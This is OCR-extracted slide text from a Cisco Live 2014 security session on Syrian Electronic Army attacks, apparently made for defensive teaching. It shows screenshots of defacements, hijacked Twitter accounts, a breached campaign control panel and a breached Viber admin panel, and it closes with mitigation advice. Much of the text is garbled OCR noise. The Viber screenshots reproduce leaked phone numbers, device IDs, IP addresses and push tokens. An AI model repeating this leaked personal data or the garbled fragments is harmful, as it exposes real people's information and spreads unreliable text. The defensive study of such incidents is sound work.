Organisation Address. UNITED STATES

Admin Name........... SEA SEA
Admin Address........ 1355 Market Street
Admin Address........ Suite 900

Admin Address........
Admin Address. San Francisco

Admin Address........ 94103

Admin Address........ CA

Admin Address........ UNITED STATES

Admin Email.......... sea@sea.sy

Admin Phone.......... +1. 4152229670

AHRYR ERX. S T +1.4152220922
Tech Name............ SEA SEA

BRKSEC-3883

Tech Address
Tech Address
Tech Address
Tech Address

el Kl

1355 Market Street
Suite 900

San Francisco

~arAm

105.64

105.64.
.37

105.64

105.64.
.37

105.64

105.64.
.37

105.64

105.64.

.37

37

37

37

37
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Defendi 'rig DTN S *

Establish a relationship with your providers

Lock down domains

sjc-craiwill-8811:~ craiwill$ whois cisco.com

Only authorised transfers via EEEERREEEEX
secure means Domain names in the .com and .net domains can now be registered

with many different competing registrars. Go to http://www.internic.net
for detailed information.

Domain Name: CISCO.,COM

Registrar: MELBOURNE IT, LTD. D/B/A INTERNET MAMES WORLDWIDE
Whois Server: whois.melbourneit.com
Referral URL: http://www.melbourneit.com
Name Server: NS1.CISCO.COM

Name Server: N52.CISCO.COM

Status: clientTransferProhibited

Status: serverDeleteProhibited

Status: serverTransferProhibited
Status: serverUpdateProhibited

Updated Date: 29-aug-2013

Creation Date: 14-may-1987

Expiration Date: 15-may-2014

Cisco (M’,/



Defendi 'rig DTN S *

Establish a relationship with your providers

Lock down domains

sjc-craiwill-8811:~ craiwill$ whois cisco.com

Only authorised transfers via [EEEEREEEEEX)
secure means Domain names in the .com and .net domains can now be registered

with many different competing registrars. Go to http://www.internic.net
for detailed information.

Domain Name: CISCO.COM

Registrar: MELBOURNE IT, LTD. D/B/A INTERNET MNAMES WORLDWIDE
Whois Server: whois.melbourneit.com
Referral URL: http: .melbourneit.com
Mame Server: N51.C C0

Mame Server: N

Status: clientTransf

Status: serverDeleteProhibited

Status: serverTransferProhibited

Status: serverUpdateProhibited

Updated Date: 29-aug-2013

Creation Date: 14-may-1987

Expiration Date: 15-may-2014

Cisco (M’,/



T Lo L i gt k- SyrianElectronicArmy T8l Following |
Outbrain Attack. KIS
@TIME, @CNN, @Washingtonpost
Outbrain is a Content Suggestion Service. Y‘T?bsti][t)es ,}‘a‘?lg%ii‘?_gn? St‘;‘e Ey h?‘i‘ring
“If you liked this article you might also like...” g O OLBEsoCM
Affected The Washington Post, Time, CNN i Tt boiii Bl

b R - S B i3 @ NP

Blog Settings - Mozilla Firefox

[ 11

" beeeo
—
—
-~
i
—

Nl

S e B AR~ DE ABE
RETWEETS FAVORITES _19 4 )

Flag media

vel
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Find by URL
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Outbrai nsAt;tja-ck.- . :

HACKED

* Dracula’s

* Star War: ( - irld’s Best
* Brooklyn (2 N g A1V s ygull luall jsl 4l

Subway’s

* How a Ba
Shadow |

* Japan Un
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‘BarackObama com «

Calendar

Yolanda Mogakanes Re. Help with inking events on my.bo

Sandy Ducane Pay Day Friday Oct 26

l C.L Towrsend Donation for OFA Oct 26
Rasidance Inn By Mamot Rasidance Inn Orando Altamante Spengs/Maitiand Resenvation Confimab Oct 26

Drafts (21) . ofaf@omal. com R Phonsbank- CC Receghion Fundratser Oct 26

: » Clrcles Sandy Ducane Re: Phonebank- CC Receghion Fundraiser Oct 26
Annetts Aaxande it ctanggmall. com Re: Phonebank. CC Recegtion Fundralser Oct 26

. ¢ & Victona Kirby Fad: Roc OFA Reporting Team: Thank You and an Impoctant Update Oct 28
Jacqueling de Carvaiho Fwd: Re: VPB Ready. YouTe invited: Climate Camp OFA Miami Nov 2nd Oct 26

& Suzanne Snurpus BIN 18 Raseevation confimed (EX2FAING ) Table for 13 for Dinner at BIN 18 1 November 2013 -3 Dein v Ot 25

1 iy de Carva suCEne Last NIghY's Hand e M END MON M ’ ‘M E 4 Oct 29
Yolanda Magafanes GRF Roport 1 oport . t Tk 1¢ M @ Oct 25

Plecro Suffein SDUCANE OFA Broward Broward Woolly Fundraiser 10 25 13 : ) v 1 @ Ot 25

i g RE: Empioymant NDA Day of Action 14 v ¢ i V inat 1 Oct 25

” Dylan Shepherd R FL Staft Trakning Dates f a ) 6, 201 M ) K Oct 24
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Home News Events Archive Archive « Onhold Notify Stats Register Login &

Mirror saved on: 2013-10-27 23:12:45

Notified by: The Pro Domain: IP address:
http://donate.barackobama.com 64.94.250.102 =
System: Linux Web server: Apache Notifier stats

THIS MIRROR IS ONHOLD AND HAS NOT BEEN VERIFIED YET. FAKE DEFACEMENTS WILL BE

DELETED WHEN REVIEWED BY OUR STAFF.
This is a CACHE (mirror) page of the site when it was saved by our robot on 2013-10-27 23:12:45

Hacked by SEA

Home News Events Archive Archive & Onhold Notify Stats Register Login Disclaimer Contact

Attribution-NonCommercial-NoDerivs 3.0 Unported License
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‘Looks Clean?

Barack Obama
Immigration is a bipartisan issue: OFA.BO/hb11NM #ActOnReform

(4 View summary

Barack Obama
Science fair nightmare: This #climate change denier is the world's

most embarrassing dad. OFA.BO/30A0PQ
Expand 4 Reply t31 Retweet » Favorite & Pocket *** More

Barack Obama

ﬁ A majority of Americans—Republicans and Democrats—support
the Employment Non-Discrimination Act. Let's do this.

OFA.BO/Zt7jz] #ENDA
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TUMI UNL TITIIRY YEHEIauul wuiniiyy.

r/./ /.

SWIIGH

Your account is behind in payments. Please update your billing method so we can charge you for
layce If you do not do so soon, your account will be suspended.

* e
Your Switch URLs o Last Created |
Long URL Short URL Clicks
| OCT |
27 htt my.barackobama n/page/event a mat jeact e .: UdFczG 0 Details
| OCT |
27 https://my 1ge’/event/detail/actionplanningsession/q t TbhxwiU 0 Details
[ OCT |
27 https//my.barackobama.com/page/event/detail/climatechangeactioneve... t zeDNZ3 67— Details
( ' /
ciscollVC,
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Alen«) 3 © [ & OfTh3Pr0PC |Oct 26, 8:37:03 PM

R BSD Control Panel - Nightly (Private Browsing) (Build 20130106091517)

S File Edit View History Bookmarks Tools Help

il . : ;
e ee—— ey - ——
S T <= BSD Control Panel &= BSD Control'Panel| Fundrai...

Q

;‘;?,AM\,"Blog B Syrian Electranic Army  [RIThe Pro | Zone-H.org lBing ! Ubuntu! |Everyt... 3§ HTML Countdown to 'S-Coogle Mts emp3world.com - Fre...

8 https://cp barackobama.com/ctl/Core/AdminHo

ﬁ bsdtools | # ANADTICS | YOUR WEBSITE EMAIL PEOPLE & LISTS & Primary Chapter 1 (?) HELP & KNOWLEDGE BASE

Welcome to the Control Panel, Anatole

Events Search Create
Contributions Add Stats & Export NEW: In our latest release
Fundraising Pages Manage Create

Each Tuesday and Thursday, BSD deploys a new release of th, ’ P
and squashes bugs. Keep an eye on this blog to stay tuned 1%

W/

« Expanded API call bundlie: the cons_addr bundie in the BSD APl will
“home" or “work,”™ respectively.

New in today's release:

“2," atong with a value of

*« We've widened the event search capability. Users may now search for events dating back to 2004 in the Control
Panel.

[th3pro... | [ Mmail Acc...

[*untitl... | [B Home [New - t...] [T Inbox (1... J () .. |[@)avaEmb...|[[bol.php...|[” BSD Co...



‘Financial Times.

SEA compromises
the Financial Times
blog and Twitter
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ft.com/search

Home UK World Companies  Markets

AIOIFT2  Articles®t (- 3Gl Multimedia®

el ag

-1 syrian electronicarmy | Blogs

TECH BLOG €I 12:43pm

Hacked By Syrian Electronic Army
Hacked By Syrian Electronic Army Androw Betis

TECHBLOG =) 12:43pm

Hacked By Syrian Electronic Army
Hacked By Syrian Electronic Army Andraw Batis

TECH BLOG €& 12:42pm

Hacked By Syrian Electronic Army
Hacked By Syrian Electronic Army Andraw Betlls
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FT FT China News @iiching 11m
Syrian Electronic Army Was Here
o yia @Official_SEA12 #SEA |

on.ft.com/10VeKm)j

FT FT Asia 11m
Syrian Electronic Army Was Here
Aok via @Official_SEA12 #SEA |
on.ft.com/12gigVd

3 Downto T Josh Brown retweetec

ECONOMIST HULK @ECONO... 4h
‘k HULK #FF @REFORMEDBROKER

FOR GLORIOUS SMASHING OF

PUNY 1999/2013 COMPARISON

thereformedbroker.com/
2013/05/16/in-_ _.

M: FT.COM; TWITTER.COM
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Hacked by SEA - lceweasel
fe [dt View Mistery Hootmarks Togls Help Related Lnks

M Hackud by SEA XK |9 Twitter / Official SEAL2 Tu.. K ‘Bs,n-\ Electronic Acmy and A... 4 { ¥ SyrinEluctronicAcory (Offict. 3§ | 0

1sler qov. b v x ¢ 8-~

g '%/I,-__‘.
WguEalul Grouulv Ulual]

Rise against the injustice of Erdogan's Tyranny
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SEA coordinates
with anonymous
against Turkish
government sites
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Histery HBootmarks Tools Meip Related Links
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Latest Activities

Hacked by SEA = lceweasel

K | OF Twatter / Official _SEALZ Tu.. K iﬂs'h.’\ Electronic Army and A... 3 | ¥ SyrunBluctronicAcery (Offict §

\
~ 5

FOtensive Sacurity N\ Kali Unex N Kali Docs KDExplon-D8 WAkcrack-ng

oA yquuk Uizl |

Rise against the injustice of HErdogan
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twitter.com/Official_ SER12
https://posta.icisleri.gov.tr/owa/
https://owa.icisleri.gov.tr/owa/

+

+

| User Password
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Dear All Viber Users.

Viber I\/Ie"s'sagfeSj:e'rViCé

The Isracli based “Viber” is spying and uackiag yos
Wo woren’t able to hack all Viber systems, bot most of it Is designed for spying and tracking

Screcnshot of 3 hacked syyiem

SEA hacks Viber
messaging service,
alleges they are spying
on uses

The Phone nembers of Viber administrators:

Phone nember Tmas Full name
w12

ass
oben

lgi

Some backups were downlonded spccessfully.
SEA was here

Drceshan ! Tesmes af Uned Plamsl

Appie and e Apple 3o are e of Apple Loc. regiskred in e US, and ofier cocoies. iPhoes & 3 nadernk of Apzle

Inc. Atdhoid 5 o tadersark of Google Toc. Use of this tadernark is
vobject 10 Google Permisiors
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General Links: Phone number: [663
Manage
supporters uDID: \
Manage Enterprise
Phones (] More Results Search Clear
Phone Active | Code e OStype |0S Registration Tist Last Viber Primary
s uDID « Country IP address Block | Device type Wi date registration e sn Push token
Remove
Reset limits
United :
963030081286 | 00b64067b2743MaBA045MTI2A22035432681a17 | States  |199.255212.199 [Yes | 9691 |03 | Desktop m"“m NT6.1 ggf;“ 3,‘0%352“3’ @’035%%31 301 No S:;’:"lfn "
Remove
Reset limits
Remove
Reset limits
APAS1bHTSrpJWYRDACnrzG-
United UTDIYmWTCOQKIYTKRrJ700Nmvgi-
963112118724 | 02cBcee5570e0ai2422a1ad6cd507d861806a77 | Kingdom | 88.208207.136 |Yes  |2844 |03 |LT26i Android (1) | 4.04 311:1;215.26 3,‘;&‘5'23 3’13;95326 22222 |r3eVZYBKTprdyGIXs3teM9xe- Yes S:m;ms
[GBI[963] M: 08 4 yADTN8SrmiystoD_zBmBBgQa2nVz2mJK3jiaP1A Resetints
QiBMgIXwMiuz8yE1FOYMO
United
963930250601 | 03346068362¢1d58bc1a6d5T 1071/5b8M3898a8 | States | 199.255212200|Yes (4913 |03 | Desktop m""‘””s NT6.1 fgfgf’;“ fg_‘;;,";“ fgggg"s 301 No %e—@t-‘%n
[US][963] VY -UY £V Resetlimits
United
963114720723 | 043128a72553007864998728bc21775a455732c8 | States  |209.189.2289 |Yes  |3522 |03 |Desktop }'4")'""‘”’5 NT6.1 fg?%ﬂ:*m fg,‘%%"gw f?,‘(%g?m 300 No S;Le}""fn i
i 59: .55 :00: Resetlimits
United
: . 20120309 [2012:03.09 |2013-05-30 514c9329ad000053¢ 1791c9184225b859(6 1a56be Remove
963112137746 | 04351607a3c5660010390617094c35377ccd195e | States | 216472142244 [Yes  [4310 |05 |iPadt,1 0s(0) |5.11 124 124 1305305 1 4731 Yes e
i 230112 |225526 | 16:00:38 e96eb784eT4efa381a055 Reset imits
United
963930074858 | 0450983bce5e0e819766c839050757b9114c060c | States 199255212200 Yes  |1951 |03 |Desktop "‘4'"‘“‘”5 NT6.2 fg,‘;%g“ fgg%‘;“ fg,‘;ﬂ%“ 301 No 25"“:"';‘ ;
[US][963] (4) 133 133 :33: Reset limits
Syrian Arab
963930299607 | 046dbcBd32862460b8a3efc7325107acd8021d81  |Republic  |5.0.130.149  |Yes  |7419 |03  |Desktop m"“"’s NT6.1 f?ggg“ m‘;gg"z f?ggg'“ 310 No S;Le;vli:n e
[SY][963] Yo i din P
v aly ) Windows 20130700 |2013.07-07 | 2013-07-09 Remove
963116116644 | 04bcT8eccedToTradled013135%bafb8co2cia  |Republc  |31.9.10682  |Yes  |1515 |03 |zaidyahya b UL el el g T No RO
[SY11963] 21: 37 21
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— Skype Blog

— Skype Twitter

— Skype Facebook page

BRKSEC-3883

gm Learn  Prices Downloads  Support Signin  Join us

Skype Blogs

News, stories, and updates from Skype

Blogs Home Big Blog Garage & Updates Play Workspace Tips 8 Tricks Sodial Good
Don't use Microsoft emails (hotmail. outiook),
They are monitoring your accounts and selling

/ﬁi'r
7
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Cisco {f'l/f;/

© 2014 Cisco and/or its affiliates. All rights reserved. Cisco Public



‘How Could This Have Been Avoided?

Email security
2 factor authentication

Respond to wide spread phishing attempts
— Web security appliances

Security training for all people associated with ANYTHING involving an external
portal

Enable incident response as per handbook
— Increase response as warranted!

Indicators of compromise

Cisco ((Vf;/
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July 29 — SEA
compromises Thomson
Reuters twitter accounts
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Syria Thomson Reuters = thomsonreuters

Thomson Reuters i sonreuters

July 29 — SEA
compromises Thomson
Reuters twitter accounts
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Thomson Reuters thomsonreuters

ZNew Syma would be
very painful!
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‘How Could This Have Been Avoided?

Email security
2 factor authentication

Respond to wide spread phishing attempts
— Web security appliances

Security training for all people associated with ANYTHING involving an external
portal

Enable incident response as per handbook
— Increase response as warranted!

Indicators of compromise
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For more:
http://blogs.cisco.com/tag/trac/
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Complete Your Online Session Evaluation

Give us your feedback and receive a
Cisco Live 2014 Polo Shirt!

Complete your Overall Event Survey and 5 Session
Evaluations.

= Directly from your mobile device on the Cisco Live
Mobile App

= By visiting the Cisco Live Mobile Site
www.ciscoliveaustralia.com/mobile

= Visit any Cisco Live Internet Station located
throughout the venue

Polo Shirts can be collected in the World of Solutions
on Friday 21 March 12:00pm - 2:00pm

Note: This slide is now a Layout choice

Learn online with Cisco Live!

Visit us online after the conference for full access
to session videos and presentations.
www.CiscoLiveAPAC.com

Cisco ((Vf;/
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